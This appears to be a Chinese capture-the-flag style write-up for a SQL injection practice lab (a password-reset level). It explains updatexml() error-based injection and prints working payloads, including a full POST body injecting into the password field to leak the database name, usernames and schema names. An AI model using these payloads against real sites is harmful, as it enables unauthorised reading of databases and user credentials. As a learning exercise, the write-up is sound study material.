这题相比前面的11到15关由原来的登陆注册框变成了现在的重置密码框 首先阅读源码发现 该题先审查user name的值,只有当user name的值是真值的时候才会处理下一步的new password 重点引入了update函数
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
这个函数的作用就是更新数据库
updatexml()函数 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string是文档中的路径,且要符合xpath语法 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 报错注入原理:当应该输入路径的地方没有遵循xpath语法就会报错,如果网站会将数据库的报错返回到网页上,那我们就可以基于这一点爆取信息,这就是报错注入。
首先测试注入点 在user name测试了常见的7种变量的包裹方法均报错,说明对此处输入的信息做了过滤 在new password处测试发现变量的包裹方式为 单引号 开始构造payload 先尝试使用update函数
select updatexml(1, concat(0x7e,(database())),1);
使用该语句在数据库中查询可得结果如下图,说明这种注入思路可行 其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出我们真正要查询的数据
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
拼接可得
uname=admin&passwd=admin' and updatexml('forming is very handsome',concat(',',(select schema_name from information_schema.schemata limit 0,1),','),'forming is very handsome') #&submit=Submit
然后后面正常拼接sql注入的查询语句,一步一步的顺着查询表名,字段名,以及我们要查的数据 就行了
|